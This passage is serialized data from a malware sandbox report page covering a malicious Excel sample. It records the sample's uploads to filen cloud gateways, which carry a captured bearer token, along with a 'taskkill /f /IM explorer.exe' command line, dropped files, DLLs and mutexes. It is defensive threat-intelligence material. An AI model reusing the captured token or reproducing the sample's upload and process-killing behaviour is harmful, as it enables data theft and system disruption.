Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"146.0.41.234","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"address":"146.0.41.231","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"address":"146.0.41.208","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]}],"dns_resolutions":[{"domain":"gateway.filen-3.net","country":"-","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"domain":"gateway.filen.io","country":"-","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"domain":"gateway.filen.net","address":"146.0.41.231","ttl":21600,"country":"Germany","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"domain":"ingest.filen-3.net","country":"-","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]}],"http_requests":[{"host":"gateway.filen.net","host_ip":"146.0.41.234:443","url":"/v3/dir/exists","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /v3/dir/exists HTTP/1.1\nAccept: application/json\nAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MV\nContent-Type: application/json\nHost: gateway.filen.net\nContent-Length: 105\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"host":"gateway.filen-3.net","host_ip":"146.0.41.231:443","url":"/v3/dir/create","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /v3/dir/create HTTP/1.1\nAccept: application/json\nAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MV\nContent-Type: application/json\nHost: gateway.filen-3.net\nContent-Length: 228\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"host":"gateway.filen-3.net","host_ip":"146.0.41.208:443","url":"/v3/upload/done","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /v3/upload/done HTTP/1.1\nAccept: application/json\nAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MV\nContent-Type: application/json\nHost: gateway.filen-3.net\nContent-Length: 652\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"host":"gateway.filen.io","host_ip":"146.0.41.231:443","url":"/v3/dir/content","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /v3/dir/content HTTP/1.1\nAccept: application/json\nAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MV\nContent-Type: application/json\nHost: gateway.filen.io\nContent-Length: 66","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}],"processes":[{"pid":4304,"ppid":0,"name":"EXCEL.EXE","command_line":"/dde","sha256":"4b77e9a515dc31372f668a6233e8098343648b1fc74476d0465680ba4827ab61","normalized_path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\EXCEL.EXE","uid":"00000000-00004304","icon":"$36"},{"pid":9888,"ppid":4304,"name":"taskkill.exe","command_line":"/f /IM explorer.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00004304","uid":"00000000-00009888"},{"pid":4296,"ppid":4304,"name":"explorer.exe","command_line":"","sha256":"6c0ca9409765ea8528163397a55c4c8c65605ee2821263f586e8a3e47942f3ef","normalized_path":"%WINDIR%\\explorer.exe","parent_uid":"00000000-00004304","uid":"00000000-00004296"},{"pid":1852,"ppid":4304,"name":"taskkill.exe","command_line":"/f /IM explorer.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00004304","uid":"00000000-00001852"},{"pid":9076,"ppid":4304,"name":"WerFault.exe","command_line":"-u -p 4304 -s 1160","sha256":"0b7f2ca998ecf2a623e04f565354a09091e0a35c8442d7d9b6812b64b9121bc2","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00004304","uid":"00000000-00009076"},{"pid":3456,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 424 -p 4304 -ip 4304","sha256":"0b7f2ca998ecf2a623e04f565354a09091e0a35c8442d7d9b6812b64b9121bc2","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00003456","icon":"$37"}],"all_imported_dlls":["imm32.dll","ucrtbase_clr0400.dll","System.Configuration.ni.dll","mfplat.dll","BluetoothApis.dll","BCP47Langs.dll","psapi.dll","MSWB7.dll","Windows.System.Launcher.dll","xmllite.dll","daxexec.dll","msvcp_win.dll","msvcp110_win.dll","VBE7.DLL","WindowsInternal.ComposableShell.DesktopHosting.dll","MMDevAPI.dll","clrjit.dll","winbio.dll","prnfldr.dll","CapabilityAccessManagerClient.dll","sechost.dll","d2d1.dll","System.Core.ni.dll","nsi.dll","Windows.Management.InprocObjects.dll","ncryptsslp.dll","cscobj.dll","OSPPC.DLL","msdart.dll","wldp.dll","dot3api.dll","PortableDeviceTypes.dll","ucrtbase.dll","sxs.dll","IDStore.dll","cdp.dll","msvcp140_app.dll","ActionCenter.dll","thumbcache.dll","winbrand.dll","NetworkIcon.dll","srvcli.dll","winhttp.dll","twinapi.dll","DWrite.dll","windows.immersiveshell.serviceprovider.dll","Windows.Internal.Signals.dll","Windows.UI.Shell.dll","wlidprov.dll","winnsi.dll","schannel.dll","MpClient.dll","MrmCoreR.dll","KernelBase.dll","mscoree.dll","wintrust.dll","cryptbase.dll","WinSCard.dll","WindowsCodecs.dll","userenv.dll","clbcatq.dll","msimtf.dll","linkinfo.dll","dbghelp.dll","StartTileData.dll","PhotoMetadataHandler.dll","batmeter.dll","msimg32.dll","ws2_32.dll","wcmapi.dll","msvcp90.dll","rasman.dll","NotificationControllerPS.dll","VxSSL64.dll","WinTypes.dll","netutils.dll","Windows.StateRepositoryClient.dll","wkscli.dll","wlanapi.dll","Windows.Globalization.dll","Windows.Security.Authentication.Web.Core.dll","Windows.Data.Activities.dll","NetworkUXBroker.dll","ncsi.dll","virtdisk.dll","setupapi.dll","RTMediaFrame.dll","msvcrt.dll","deviceassociation.dll","ATL90.dll","cflapi.dll","Taskbar.View.dll","threadpoolwinrt.dll","windows.storage.dll","CloudExperienceHostRedirection.dll","fltLib.dll","urlmon.dll","OSPPCEXT.DLL","VBE7INTL.DLL","Windows.UI.Core.TextInput.dll","StructuredQuery.dll","ntasn1.dll","netprofm.dll","msvcr90.dll","uxtheme.dll","MpOAV.dll","Windows.UI.dll","ExplorerFrame.dll","Syncreg.dll","MSOINTL.DLL","SettingsHandlers_DesktopTaskbar.dll","Windows.UI.Accessibility.dll","Windows.Storage.Search.dll","wtsapi32.dll","msctf.dll","winsta.dll","MSOSTYLE.DLL","StateRepository.Core.dll","oleaut32.dll","profapi.dll","msxml6.dll","InputHost.dll","prxyqry.dll","TaskFlowUI.dll","srchadmin.dll","cscapi.dll","oleacc.dll","pfclient.dll","Windows.StateRepositoryBroker.dll","UIAutomationCore.dll","stobject.dll","DXP.dll","cryptsp.dll","twinui.dll","Windows.Shell.BlueLightReduction.dll","Windows.UI.Xaml.Controls.dll","imapi2.dll","ole32.dll","dcomp.dll","kernel32.dll","coml2.dll","Windows.StateRepositoryCore.dll","OneCoreUAPCommonProxyStub.dll","twinui.appcore.dll","cscui.dll","shell32.dll","policymanager.dll","ntmarta.dll","devobj.dll","container.dll","GFX.DLL","cfgmgr32.dll","msado15.dll","dhcpcsvc.dll","directmanipulation.dll","twinapi.appcore.dll","Windows.Internal.ShellCommon.dll","dnsapi.dll","UserSetup.Eligibility.dll","imagehlp.dll","MSORES.DLL","wbemsvc.dll","usermgrcli.dll","Windows.CloudStore.Schema.Shell.dll","System.ni.dll","Clipc.dll","vcruntime140_1_app.dll","scrrun.dll","IPHLPAPI.DLL","BCP47mrm.dll","cldapi.dll","dmenrollengine.dll","Windows.Devices.Sensors.dll","dusmapi.dll","gdi32full.dll","mscorlib.ni.dll","WindowManagementAPI.dll","dsreg.dll","cryptngc.dll","pnidui.dll","SHCore.dll","AboveLockAppHost.dll","InputSwitch.dll","rpcrt4.dll","aepic.dll","dxgi.dll","wininet.dll","System.Net.Http.ni.dll","Windows.ApplicationModel.dll","Windows.FileExplorer.Common.dll","EhStorShell.dll","Windows.UI.Xaml.dll","atlthunk.dll","WPDShServiceObj.dll","gpapi.dll","TileDataRepository.dll","WindowsInternal.ComposableShell.Experiences.Switcher.dll","Microsoft.UI.Xaml.dll","UiaManager.dll","RICHED20.DLL","wbemprox.dll","AppXDeploymentClient.dll","Windows.CloudStore.dll","shdocvw.dll","Windows.UI.Immersive.dll","wincorlib.dll","dhcpcsvc6.dll","TaskFlowDataEngine.dll","SwitcherDataModel.dll","OART.DLL","Evubz96n.dll","Windows.StateRepositoryPS.dll","windowsudk.shellcommon.dll","actxprxy.dll","NcaApi.dll","msi.dll","bcryptprimitives.dll","version.dll","samlib.dll","LanguageOverlayUtil.dll","directxdatabasehelper.dll","WindowsInternal.ShellUI.dll","mpr.dll","srpapi.dll","UserMgrProxy.dll","System.Xml.ni.dll","System.Runtime.Serialization.ni.dll","samcli.dll","crypt32.dll","framedynos.dll","OneCoreCommonProxyStub.dll","edputil.dll","ActivationClient.dll","GrooveIntlResource.dll","Windows.Internal.UI.Shell.WindowTabManager.dll","sspicli.dll","ninput.dll","DXCore.dll","AppResolver.dll","twinui.pcshell.dll","npmproxy.dll","biwinrt.dll","gdi32.dll","kernel.appcore.dll","vcruntime140_clr0400.dll","Windows.Media.Devices.dll","wpnapps.dll","advapi32.dll","propsys.dll","wmiclnt.dll","bcrypt.dll","wbemcomn.dll","slc.dll","vcruntime140_1_clr0400.dll","ncrypt.dll","TileControl.dll","d3d10warp.dll","EthernetMediaManager.dll","DataExchange.dll","uimanager.dll","Taskbar.dll","rmclient.dll","HolographicExtensions.dll","GROOVEEX.DLL","Windows.Devices.Enumeration.dll","netapi32.dll","fastprox.dll","SndVolSSO.dll","OnDemandConnRouteHelper.dll","RTWorkQ.dll","Windows.Energy.dll","MSO.DLL","comctl32.dll","msasn1.dll","AppExtension.dll","mswsock.dll","rasapi32.dll","SyncCenter.dll","GdiPlus.dll","mscoreei.dll","rsaenh.dll","Windows.Web.dll","rtutils.dll","ShellCommonCommonProxyStub.dll","es.dll","mobilenetworking.dll","apphelp.dll","TextShaping.dll","clr.dll","d3d11.dll","AcGenral.dll","user32.dll","win32u.dll","powrprof.dll","sppc.dll","secur32.dll","ApplicationFrame.dll","ResourcePolicyClient.dll","umpdc.dll","TextInputFramework.dll","iertutil.dll","CoreMessaging.dll","Windows.StateRepository.dll","DevDispItemProvider.dll","Windows.Networking.Connectivity.dll","vcruntime140_app.dll","CoreUIComponents.dll","amsi.dll","mscms.dll","PortableDeviceApi.dll","wpnclient.dll","ntdll.dll","shlwapi.dll","combase.dll","dwmapi.dll","Windows.Gaming.Input.dll","DAMediaManager.dll","ntshrui.dll","PCShellCommonProxyStub.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"A63E4630","sha256":"a2b7ba5dc2faeaf0ea94e2068245531c0247c3eab52cfd1ae12fefce7dca3bb2","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"_.xls.LNK","sha256":"a416957ff54afabe6409376c7b220bb462ef431f98a581c3987e7e9d76f14c93","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"DEFAULT-20241101-1112.log","sha256":"c03f09eda8c19fa5c26854a81b01069454faf66e78844f61d301bebda4a09b86","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"icon.png","sha256":"6b164379daa36e4a0de7ce8eb7196082b26bafcc4b0435bbd908bb647706f717","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"index.dat","sha256":"81be6278440b30b68efedbbc48c7a46d1651e83e6ba5cc96534e57378dbb492a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"path":"%TEMP%\\CVR710.tmp","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"path":"%TEMP%\\~DFEAB44C2A38FB0678.TMP","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"path":"PIPE\\srvsvc","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\_.xls.LNK","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\index.dat","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"path":"%TEMP%\\~DF31F272682072345C.TMP","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"path":"%TEMP%\\~_.xls.tmp","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"path":"%TEMP%\\~_.xls.tmp:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"path":"%TEMP%\\DEFAULT-20241101-1112.log","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"path":"%APPDATA%\\Microsoft\\Network\\Cache\\icon.png","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Low\\DB\\uimanager.dll","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"path":"C:\\6ACD4630","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"path":"C:\\A63E4630","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"path":"C:\\A63E4630:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"path":"%TEMP%\\~DFBD8894103DA091EE.TMP","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]}],"files_deleted":null},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4304:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"\\BaseNamedObjects\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"KYTransactionServer.MutexObject.%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"x64_10MU_ACB10_S-1-5-5-0-274744","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"Local\\SM0:4304:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"Local\\SM0:4304:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"x64_10MU_ACBPIDS_S-1-5-5-0-274744","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"KYIMEShareCachedData.MutexObject.%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"SM0:4304:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4304:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\x64_10MU_ACBPIDS_S-1-5-5-0-274744","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\x64_10MU_ACB10_S-1-5-5-0-274744","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4304:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"\\BaseNamedObjects\\MTX_MSO_Formal1_S-1-5-21-1271187874-1938232448-3812392235-1001","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"\\BaseNamedObjects\\MTX_MSO_AdHoc1_S-1-5-21-1271187874-1938232448-3812392235-1001","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\KYIMEShareCachedData.MutexObject.%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\KYTransactionServer.MutexObject.%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6a5380edae4f08ab5607a463"}]}]}},"report_ids":{"sandbox_job_ids":["6a5380edae4f08ab5607a463"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Msoffice/malicious_confidence_70% Sample fa0e68457b06… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample fa0e68457b06…. Malware family: Msoffice/malicious_confidence_70%. Threat score 100/100. 6/27 AV engines flagged this file. 6 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/fa0e68457b06c50d41b92ecf3440b0cb0c37e6ccf1bc60039526ec1844f2ce16"}],["$","meta","4",{"property":"og:title","content":"Malicious Msoffice/malicious_confidence_70% Sample fa0e68457b06… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample fa0e68457b06…. Malware family: Msoffice/malicious_confidence_70%. Threat score 100/100. 6/27 AV engines flagged this file. 6 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/fa0e68457b06c50d41b92ecf3440b0cb0c37e6ccf1bc60039526ec1844f2ce16"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Msoffice/malicious_confidence_70% Sample fa0e68457b06… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample fa0e68457b06…. Malware family: Msoffice/malicious_confidence_70%. Threat score 100/100. 6/27 AV engines flagged this file. 6 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L38","11",{}]]